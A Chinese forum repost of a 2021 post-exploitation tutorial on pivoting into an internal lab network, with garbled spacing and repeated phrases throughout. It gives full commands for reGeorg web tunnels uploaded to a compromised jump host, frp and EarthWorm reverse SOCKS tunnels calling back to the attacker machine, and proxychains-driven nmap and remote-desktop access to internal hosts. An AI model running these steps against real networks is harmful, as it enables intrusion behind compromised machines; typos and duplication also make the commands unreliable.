搜索

[18030] 2021-07-27_内网穿透一文让你熟练运用内网穿透(步骤详细)

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-07-27_内网穿透一文让你熟练运用内网穿透(步骤详细) 0 x 0 0   前 言 前 言 内 网 穿 透   |   一 文 让 你 熟 练 运 用 内 网 穿 透 ( 步 骤 详 细 ) 原 创   H a c k i n g 黑 白 红   H a c k i n g 黑 白 红   2 0 2 1 - 0 7 - 2 7 收 录 于 话 题 # 内 昂 穿 透   , 1 # f r p 穿 透   , 1 # e w 内 网   , 1 # r g 内 网   , 1 # 渗 透 实 战   , 3       内 网 穿 透 一 直 是 后 渗 透 的 重 点 ， 网 上 这 方 面 的 文 章 很 多 ， 吸 收 总 结 ， 花 了 2 天 时 间 整 理 一 份 内 网 穿 透 的 工 具 应 用 ， 力 争 用 最 简 洁 的 步 骤 手 把 手 熟 练 运 用 内 网 穿 透 。         这 里 选 用 常 用 的 4 种 方 式 ： r e G e o r g e 、 f r p 、 e w 、 m s f ＋ p r o x y c h a i n s （ 对 于 不 同 的 内 网 环 境 足 够 用 了 ） ， 其 中 f r p 和 e w 分 别 再 L i n u x 和 W i n 两 种 环 境 做 了 实 验         相 关 软 件 下 载 ：   实 验 环 境 两 层 网 络 环 境 可 以 自 己 搭 建 ， 也 可 以 公 众 号 回 复 也 可 以 公 众 号 回 复 “ 内 网 渗 透 环 境 内 网 渗 透 环 境 ” ， 获 取 下 载 链 接 ， 获 取 下 载 链 接 简 单 的 网 络 拓 扑 图 如 下 ： 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 D v E I 0 m L E K n w r d 3 E M U s H 1 D A   提 取 码 ： 3 3 t 6 攻 击 机 2 台 ( k a l i   和   w i n 1 0 ) ： 1 9 2 . 1 6 8 . 2 1 1 . 1 6 4 （ V M n e t 8   N A T 模 式 ） , 1 9 2 . 1 6 8 . 2 1 1 . 1 9 3 （ V M n e t 8   N A T 模 式 ） 跳 板 机 1 台 （ w i n 7 ） ： 外 网   1 9 2 . 1 6 8 . 2 1 1 . 2 2 4   （ V M n e t 8   N A T 模 式 ）   , 内 网   1 9 2 . 1 6 8 . 5 2 . 1 4 3 ( V M n e t 1 仅 主 机 模 式 ) 内 网 机 2 台 ： 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ( V M n e t 1 仅 主 机 模 式 )   ， 1 9 2 . 1 6 8 . 5 2 . 1 4 1 ( V M n e t 1 仅 主 机 模 式 )
0 x 0 1   r e G e o r g e                                         1 . 1   环 境 环 境 攻 击 机 k a l i r e G e o r g e 软 件 ， 下 载 ： h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e G e o r g 运 行 序 偶 需 要 的 环 境 ： P y t h o n 、 p i p 、 u r l l i b 3 ； p i p 安 装 ： 依 赖 u r l l i b 3 安 装 ：   1 . 2   部 署 配 置 部 署 配 置   上 传 t u n n e l . n o s o c k e t . p h p 前 提 条 件 ， 已 获 得 跳 板 机 的 权 限 （ 都 打 到 内 网 了 ， 跳 板 机 的 权 限 肯 定 获 得 了 ） 已 获 得 跳 板 机 的 权 限 （ 都 打 到 内 网 了 ， 跳 板 机 的 权 限 肯 定 获 得 了 ） ， W i n d o w s 7 系 统 的 跳 板 机 是 p h p 环 境 ， 将 r e G e o r g e 中 的 t u n n e l . n o s o c k e t . p h p 上 传 至 网 站 ， 并 访 问 h t t p : / / 1 9 2 . 1 6 8 . 2 1 1 . 2 2 4 / t u n n e l . n o s o c k e t . p h p 访 问 成 功   启 动 启 动 r e G e o r g p y t h o n   r e G e o r g S o c k s P r o x y . p y   - p   1 0 8 0   - u h t t p : / / 1 9 2 . 1 6 8 . 2 1 1 . 2 2 4 / t u n n e l . n o s o c k e t . p h p   # 表 示 本 地 1 0 8 0 端 口 的 流 量 都 转 发 给 指 定 的 那 个 u r l ， 1 0 8 0 是 指 定 的 监 听 端 口 ；   w g e t   h t t p s : / / b o o t s t r a p . p y p a . i o / g e t - p i p . p y p y t h o n   g e t - p i p . p y p i p   i n s t a l l   u r l l i b 3
0 x 0 2   f r p 配 置 代 理 配 置 代 理 然 后 配 置 p r o x y c h a i n s 代 理 链 的 配 置 文 件 / e t c / p r o x y c h a i n s . c o n f ， 将 代 理 设 置 成 本 机 的 1 0 8 0 端 口 ： s o c k s 5   1 2 7 . 0 . 0 . 1   1 0 8 0   1 . 3   测 试 测 试 命 令 前 面 加 上 p r o x y c h a i n s   运 行 命 令 ， （ 跳 板 机 p h p 环 境 已 启 动 ， 存 在 主 页 i n d e x . p h p ） r e G e o r g 控 制 端 证 明 反 向 代 理 连 接 成 功   软 件 ： f r p _ 0 . 3 3 . 0 _ w i n d o w s _ a m d 6 4   ， f r p _ 0 . 3 4 . 1 _ l i n u x _ a m d 6 4 代 理 工 具 P r o x i f i e r （ w i n d o w s 下 通 常 用 可 视 化 的 p r o x i f i e r 、 S o c k s C a p 6 4 ， L i n u x 在 p r o x y c h a i n s 设 置 ）   p r o x y c h a i n s c u r l   h t t p : / / 1 9 2 . 1 6 8 . 5 2 . 1 4 3
2 . 1 攻 击 机 为 攻 击 机 为 w i n d o w s 环 境 环 境   f r p 反 向 代 理 ： 反 向 代 理 ： 攻 击 机 - 服 务 端 ： 设 置 f r p s . i n i 然 后 运 行   跳 板 机 - 客 户 端 ： 设 置 f r p c . i n i 然 后 运 行     服 务 器 端 运 行 p r o x i f i e r 监 听 8 0 1 0 端 口 ： [ c o m m o n ]   b i n d _ p o r t   =   7 0 0 0 f r p s . e x e   - c   f r p s . i n i [ c o m m o n ]   s e r v e r _ a d d r   =   1 9 2 . 1 6 8 . 2 1 1 . 1 9 3 s e r v e r _ p o r t   =   7 0 0 0   [ h t t p _ p r o x y ]   t y p e   =   t c p   r e m o t e _ p o r t   =   8 0 1 0   p l u g i n = s o c k s 5 f r p c . e x e   - c   f r p c . i n i
点 击 检 查 p r o x i f i e r 里 测 试 成 功 。 浏 览 器 访 问 1 9 2 . 1 6 8 . 5 2 . 1 4 3   访 问 成 功   测 试 远 程 ， 远 程 连 接 1 9 2 . 1 6 8 . 5 2 . 1 4 3 、 1 4 1 （ 此 两 台 机 器 远 程 连 接 均 已 开 ）
    f r p 正 向 代 理 ： 正 向 代 理 ： 攻 击 机 为 客 户 端   f r p c . i n i 执 行 跳 板 机 为 服 务 器 端 执 行 在 攻 击 机 - 客 户 端 上 运 行 p r o x i f i e r ， 添 加 服 务 器 的 地 址 1 9 2 . 1 6 8 . 2 1 1 . 2 1 4 ， 端 口 8 0 1 0 ， 进 行 连 接 [ c o m m o n ] s e r v e r _ a d d r   =   1 9 2 . 1 6 8 . 2 1 1 . 2 2 4 s e r v e r _ p o r t   =   7 0 0 0   [ h t t p _ p r o x y ]   t y p e   =   t c p r e m o t e _ p o r t   =   8 0 1 0   p l u g i n = s o c k s 5 f r p c . e   - c   f r p c . i n i [ c o m m o n ]   b i n d _ p o r t   =   7 0 0 0 f r p s . e x e   - c   f r p s . i n i
  不 知 道 啥 原 因 ， 连 接 跳 板 机 内 网 不 知 道 啥 原 因 ， 连 接 跳 板 机 内 网 1 9 2 . 1 6 8 . 5 2 . 1 4 3 未 成 功 ， 连 接 跳 板 外 网 卡 未 成 功 ， 连 接 跳 板 外 网 卡 1 9 2 . 1 6 8 . 2 1 1 . 2 1 4 成 功 ， 成 功 ， 网 上 也 搜 索 了 大 量 网 上 也 搜 索 了 大 量 f r p   正 向 代 理 ， 貌 似 用 正 向 代 理 ， 貌 似 用 f r p 做 正 向 代 理 的 不 多 ， 推 出 以 后 做 正 向 代 理 的 不 多 ， 推 出 以 后 f r p 还 是 坚 持 用 反 向 代 理 吧 。 还 是 坚 持 用 反 向 代 理 吧 。   2 . 2   攻 击 机 为 攻 击 机 为   k a l i 环 境 环 境   f r p 反 向 代 理 反 向 代 理 服 务 器 端 - 攻 击 机 ： f r p s . i n i   配 置 内 容 执 行 命 令 客 户 端 - 跳 板 机 ： f r p c . i n i 配 置 内 容 执 行 命 令   配 置 配 置 p r o x y c h a i n s 代 理 链 代 理 链 [ c o m m o n ]   b i n d _ p o r t   =   7 0 0 0 . / f r p s   - c   f r p s . i n i [ c o m m o n ]   s e r v e r _ a d d r   =   1 9 2 . 1 6 8 . 2 1 1 . 1 9 3   s e r v e r _ p o r t   =   7 0 0 0     [ h t t p _ p r o x y ]     t y p e   =   t c p     # r e m o t e _ p o r t   =   8 0 1 0     r e m o t e _ p o r t   = 1 0 8 0     p l u g i n = s o c k s 5 f r p c . e x e   - c   f r p c . i n i
0 x 0 3   e w 配 置 文 件 / e t c / p r o x y c h a i n s . c o n f ， 将 代 理 设 置 成 本 机 的 1 0 8 0 端 口 ( r o o t 用 户 修 改 ) ： 然 后 命 令 前 面 加 上 p r o x y c h a i n s 即 可 。 测 试 ： p r o x y c h a i n s   r d e s k t o p   1 9 2 . 1 6 8 . 5 2 . 1 4 1   （ 远 程 连 接 内 网 电 脑 桌 面 ） 证 明 代 理 成 功 。 执 行 n m a p   扫 描 C 端 存 活 机 器 和 端 口   总 结 总 结 f r p 优 缺 点 优 缺 点 优 点 ： 使 用 反 向 代 理 ， 只 需 要 把 需 要 访 问 的 内 网 主 机 和 端 口 转 发 出 来 即 可 ， 速 度 较 快 缺 点 ： 访 问 h t t p s 网 站 时 配 置 相 对 复 杂 3 . 1   攻 击 机 为 攻 击 机 为 w i n d o s 1 0 环 境 环 境   e w 正 向 代 理 正 向 代 理 1 . 正 向 连 接 跳 板 机 在 w i n 7 机 器 上 执 行 ( e w _ f o r _ w i n d o w s 上 传 到 跳 板 机 ) 攻 击 机 - 监 听 本 机 8 8 8 端 口 。 然 后 在 w i n 1 0 机 器 上 p r o x i f i e r 进 行 连 接 s o c k s 4   1 2 7 . 0 . 0 . 1   1 0 8 0 p r o x y c h a i n s   c u r l   h t t p : / / 1 9 2 . 1 6 8 . 5 2 . 1 4 3 p r o x y c h a i n s   n s a p   - p   1 - 1 0 0 0   - P n   - s T 1 9 2 . 1 6 8 . 5 2 . 1 4 1 r o x y c h a i n s   n m a p   - p   1 - 6 5 5 2 5   - P n   - s T 1 9 2 . 1 6 8 . 5 2 . 0 / 2 4 e w _ f o r _ W i n . e x e   - s   s s o c k s d   - l   8 8 8
  测 试 h t t p :   访 问   h t t p : / / 1 9 2 . 1 6 8 . 5 2 . 1 4 3 / 成 功 测 试 远 程 桌 面 ： 1 9 2 . 1 6 8 . 5 2 . 1 4 1   成 功   e w 反 向 代 理 反 向 代 理 攻 击 机 器 上 执 行 对 外 1 2 3 4 端 口 转 发 到 1 0 8 0 端 口 ， - l   本 地 监 听 端 口 ， 待 会 连 接 这 个 端 口 作 为   s o c k s 5   端 口 - e   反 弹 中 转 端 口 然 后 边 缘 机 器 连 接 - d   指 定 反 弹 的 主 机 ， 这 里 为 公 网   v p s   的   i p - e   指 定 反 弹 中 转 端 口 ， 和 v p s 中 的 设 置 的 一 样   e w _ f o r _ W i n . e x e   - s   r c s o c k s   - l   1 0 8 0   - e   1 2 3 4 e w _ f o r _ W i n . e x e   - s   r s s o c k s   - d 1 9 2 . 1 6 8 . 2 1 1 . 1 6 4   - e   1 2 3 4
  测 试 h t t p :   访 问   h t t p : / / 1 9 2 . 1 6 8 . 5 2 . 1 4 3 / 成 功 测 试 远 程 桌 面 ： 1 9 2 . 1 6 8 . 5 2 . 1 4 1   成 功     3 . 2   攻 击 机 环 境 为 攻 击 机 环 境 为 k a l i   e w 反 向 代 理 反 向 代 理 服 务 端 - 攻 击 机 k a l i 执 行 ：     客 户 端 - 跳 板 机 . / e w _ f o r _ l i n u x 6 4   - s   r c s o c k s   - l   1 0 8 0   - e   1 0 2 4
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理